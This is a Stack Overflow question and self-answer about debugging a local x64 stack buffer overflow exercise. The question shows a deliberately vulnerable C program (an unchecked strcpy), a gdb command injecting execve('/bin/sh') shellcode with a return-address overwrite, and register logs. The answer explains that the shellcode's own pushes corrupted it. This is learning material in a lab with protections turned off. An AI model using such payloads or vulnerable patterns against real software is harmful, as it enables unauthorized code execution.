Getting Cannot access memory on executing push instruction on x64 architecture

Question

I am trying to learn buffer overflow exploit. shell code contains instructions and when executed separately, they run without any problem but when control is passed to it via the program i am trying to exploit it halts at a push instruction giving SEGSEGV fault I had hard time overwriting the return address. ASLR is disabled and stack is executable. Here is my Program:

#include<stdio.h>
#include<string.h>

void cllme()
{
        printf("hello world\n");
}

int main(int argc, char *argv[]){

    char buffer[30];
    cllme();
    printf("buffer is at %p\n",buffer);
    printf("callme is at %p\n",cllme);
    strcpy(buffer,argv[1]);
    return 0;
}

Here is the command that i run to execute it in gdb:

run $(python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+13*"a"+"\x10\xe4\xff\xff\xff\x7f"')

GDB log:

(gdb) x/13i $rip
=> 0x7fffffffe41c:  neg    rbx
   0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq    
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)  
   0x7fffffffe42c:  (bad)  
(gdb) i r
rax            0x0  0
rbx            0xff978cd091969dd1   -29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41c   0x7fffffffe41c
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
0x00007fffffffe41f in ?? ()
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/13i $rip
=> 0x7fffffffe41f:  push   rbx
   0x7fffffffe420:  push   rsp
   0x7fffffffe421:  pop    rdi
   0x7fffffffe422:  cdq    
   0x7fffffffe423:  push   rdx
   0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall
   0x7fffffffe42b:  (bad)  
   0x7fffffffe42c:  (bad)  
   0x7fffffffe42d:  (bad)  
(gdb) i r
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0xe410616161616161   -2013001962561117855
rdx            0x7fffffffe41061 36028797017133153
rsi            0x7fffffffe7c0   140737488349120
rdi            0x7fffffffe432   140737488348210
rbp            0x6161616161616161   0x6161616161616161
rsp            0x7fffffffe440   0x7fffffffe440
r8             0x1  1
r9             0x1c 28
r10            0x78 120
r11            0x7ffff7b95f48   140737349508936
r12            0x5555555545f0   93824992232944
r13            0x7fffffffe510   140737488348432
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe41f   0x7fffffffe41f
eflags         0x213    [ CF AF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f
(gdb)nexti
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe426 in ?? ()

push faulting means you messed up the stack pointer. Your gdb log is broken too, try using stepi maybe that works better. It jumps from 41f to 426, more than 1 instruction. — Jester
– Jester, Commented Jul 5, 2017 at 17:28
thank you, Jester for pointing out the issue. Turned out that the stack pointer was pointing to the address e440 but as we pushed more than 20 bytes it messed up the shell code which in made it crash as an instruction was created which tries to access rbx location. — Swapnil Kashid
– Swapnil Kashid, Commented Jul 5, 2017 at 17:48

Swapnil Kashid · Accepted Answer · 2017-07-05 17:49:53Z

thank you, Jester for pointing out the issue. Turned out that the stack pointer was pointing to the address e440 but as we pushed more than 20 bytes it messed up the shell code which in made it crash as an instruction was created which tries to access rbx location

(gdb) stepi
0x00007fffffffe424 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe424:  push   rdi
   0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x3b
   0x7fffffffe429:  syscall 
   0x7fffffffe42b:  (bad)  
   0x7fffffffe42c:  (bad)  
   0x7fffffffe42d:  (bad)  
   0x7fffffffe42e:  (bad)  
   0x7fffffffe42f:  (bad)  
   0x7fffffffe430:  add    BYTE PTR [rax],al
(gdb) stepi
0x00007fffffffe425 in ?? ()
(gdb) x/11i $rip
=> 0x7fffffffe425:  push   rsp
   0x7fffffffe426:  pop    rsi
   0x7fffffffe427:  mov    al,0x38
   0x7fffffffe429:  in     al,0xff

Collectives™ on Stack Overflow

Getting Cannot access memory on executing push instruction on x64 architecture

1 Answer 1

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

Comments

Your Answer

Sign up or log in

Post as a guest

Related